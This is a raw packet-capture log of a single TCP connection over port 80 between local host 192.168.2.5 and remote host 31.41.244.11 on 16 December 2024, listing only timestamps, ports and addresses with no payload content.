Dec 16, 2024 09:01:15.851461887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.851942062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.851995945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.852114916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.852843046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.852896929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.852983952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.853460073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.853851080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.853907108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.854032993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.854929924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.854964018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.854975939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.855007887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.855990887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.856026888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.856084108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.017544031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.017591000 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.017750025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.017921925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.017968893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.018023014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.018707991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.018760920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.018810034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.019762993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.019790888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.019840002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.020246029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.020385981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.020433903 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.021292925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.021373034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.021420002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.022237062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.022356987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.022406101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.023247957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.023374081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.023421049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.024245977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.024281025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.024328947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.025230885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.025327921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.025410891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.026237965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.026340008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.026392937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.027223110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.027271986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.027339935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.027422905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.028187037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.028250933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.028304100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.028348923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.029201984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.029258013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.029267073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.029313087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.030189991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.030286074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.030342102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.031208992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.031333923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.031392097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.032183886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.032282114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.032335043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.033178091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.033282042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.033333063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.034213066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.034288883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.034353971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.035196066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.035348892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.035398960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.036173105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.036299944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.036341906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.037179947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.037461042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.037513971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.038170099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.038297892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.038348913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.039186001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.039268970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.039329052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.040177107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.040231943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.040353060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.040462017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.041167021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.041215897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.041260004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.042160034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.042184114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.042207956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.042243004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.043138981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.043251991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.043303013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.044147968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.044243097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.044416904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.045136929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.045248985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.045308113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.046153069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.046197891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.046247005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.047132015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.047234058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.047283888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.048113108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.048162937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.048213005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.049151897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.049202919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.049245119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.050204992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.050257921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.050326109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.050376892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.051104069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.051253080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.051306963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.052115917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.052229881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.052279949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.053122997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.053173065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.053216934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.054124117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.054172993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.054195881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.054486036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.055103064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.055216074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.055267096 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.056111097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.056212902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.056262016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.057177067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.057229042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.057286978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.058084011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.058187962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.058238983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.059091091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.059217930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.059267998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.060095072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.060187101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.060239077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.061060905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.061110973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.061167955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.062100887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.062151909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.062226057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.062496901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.063107967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.063158035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.063194990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.063241005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.064068079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.064121008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.064155102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.064201117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.065093040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.065141916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.065181971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.065229893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.066056013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.066106081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.066148996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.066198111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.067109108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.067122936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.067157984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.067188025 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.068048954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.068098068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.068165064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.068211079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.069057941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.069104910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.069139004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.069186926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.210113049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.210184097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.210208893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.210267067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.210361004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.210406065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.210496902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.210551023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.211410046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.211504936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.211632013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.211632013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.212351084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.212410927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.212687969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.212738991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.212805986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.212867022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.213650942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.213711023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.213741064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.213799000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.214667082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.214714050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.214746952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.214797974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.215666056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.215717077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.215784073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.215837002 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.216651917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.216702938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.216769934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.216821909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.217639923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.217716932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.217736959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.217787027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.218636036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.218688965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.218755960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.218806028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.219625950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.219671965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.219741106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.219789028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.220686913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.220736980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.220772028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.220819950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.221623898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.221673965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.221738100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.221786022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.222606897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.222656012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.222722054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.222783089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.223622084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.223680019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.223742962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.223793983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.224654913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.224716902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.224778891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.224831104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.225604057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.225656033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.225713968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.225769043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.226577044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.226629972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.226711035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.226762056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.227600098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.227653027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.227711916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.227761030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.228631020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.228686094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.228737116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.228811026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.229619980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.229674101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.229732990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.229785919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.230593920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.230640888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.230710030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.230762005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.231580973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.231631041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.231718063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.231771946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.232599020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.232659101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.232706070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.232767105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.233586073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.233639956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.233642101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.233685017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.234554052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.234606028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.234659910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.234708071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.235538960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.235594988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.235682011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.235730886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.236551046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.236607075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.236720085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.236773968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.237535954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.237588882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.237673998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.237725019 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.238737106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.238795042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.238980055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.239031076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.239588022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.239641905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.239799023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.239850044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.240586042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.240642071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.240669966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.240721941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.241561890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.241600037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.241647959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.242532015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.242590904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.242641926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.242696047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.243551016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.243604898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.243606091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.243659973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.244512081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.244575024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:16.244646072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:16.244704008 CET	49817	80	192.168.2.5	31.41.244.11
